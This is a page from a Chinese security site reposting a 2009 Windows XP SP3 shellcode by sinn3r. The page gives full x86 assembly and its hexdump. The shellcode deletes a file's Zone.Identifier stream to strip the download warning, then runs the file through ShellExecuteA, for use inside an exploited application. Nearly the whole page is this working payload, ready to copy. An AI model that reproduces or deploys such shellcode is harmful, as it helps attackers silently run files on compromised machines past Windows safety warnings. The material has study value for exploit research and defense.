首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Win32 XP SP3 ShellExecuteA shellcode
来源:vfocus.net 作者:sinn3r 发布时间:2009-12-21  

; Author: sinn3r
; Tested on Windows XP SP3
; Description:
; This shellcode will attempt to delete the Zone.Identifier ADS (it's a
; trick Microsoft uses to warn you about an exe when you try to run it),
; and then run the file using the ShellExecuteA function.
; Make sure the exploited app has the following components loaded
; (should be pretty common):
; KERNEL32, msvcrt, SHELL32

[BITS 32]

global _start

_start:

push 0x00657865
push 0x2e747365
push 0x745c3a43
xor edi, edi
mov edi, esp  ; edi = "C:\test.exe"

xor esi, esi
push 0x00004154
push 0x4144243a
push 0x72656966
push 0x69746e65
push 0x64492e65
push 0x6e6f5a3a
mov esi, esp            ; edi = fork

push esi
push edi
xor eax, eax
mov eax, 0x77C46040 ; msvcrt.strcat  (Windows XP SP3)
call eax

xor eax, eax
mov eax, 0x7c831ec5 ; KERNEL32.DeleteFileA  (Windows XP SP3)
call eax

xor edx, edx
mov word [edi + 11], dx

push edx
push 0x6e65706f
mov edx, esp  ; edx = "open"
xor eax, eax
push eax  ; IsShown = NULL
push eax  ; DefDir = NULL
push eax  ; Parameters = NULL
push edi  ; Filename
push edx  ; Operation = "open"
push eax  ; hwnd = NULL
mov eax, 0x7ca41150 ; SHELL32.ShellExecuteA  (Windows XP SP3)
call eax

; shellcode:
; sinn3r@backtrack:~$ nasm -f bin shellexecute.asm -o shellexecute | cat shellexecute |hexdump -C |grep -v 00000066
; 00000000  68 65 78 65 00 68 65 73  74 2e 68 43 3a 5c 74 31  |hexe.hest.hC:\t1|
; 00000010  ff 89 e7 31 f6 68 54 41  00 00 68 3a 24 44 41 68  |...1.hTA..h:$DAh|
; 00000020  66 69 65 72 68 65 6e 74  69 68 65 2e 49 64 68 3a  |fierhentihe.Idh:|
; 00000030  5a 6f 6e 89 e6 56 57 31  c0 b8 40 60 c4 77 ff d0  |Zon..VW1..@`.w..|
; 00000040  31 c0 b8 c5 1e 83 7c ff  d0 31 d2 66 89 57 0b 52  |1.....|..1.f.W.R|
; 00000050  68 6f 70 65 6e 89 e2 31  c0 50 50 50 57 52 50 b8  |hopen..1.PPPWRP.|
; 00000060  50 11 a4 7c ff d0                                 |P..|..|


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PlayMeNow Malformed M3U Playli
·Linux - setreuid (0,0) & execv
·PHP 5.2.12/5.3.1 symlink() ope
·PlayMeNow Malformed M3U Playli
·Mozilla Firefox Location Bar S
·TFTP SERVER Buffer Overflow re
·3Com OfficeConnect ADSL Wirele
·Cisco ASA <= 8.x VPN SSL modul
·Simple PHP Blog <= 0.5.1 Local
·PlayMeNow Malformed M3U Playli
·TLS Renegotiation Vulnerabilit
·VideoCache 1.9.2 vccleaner roo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved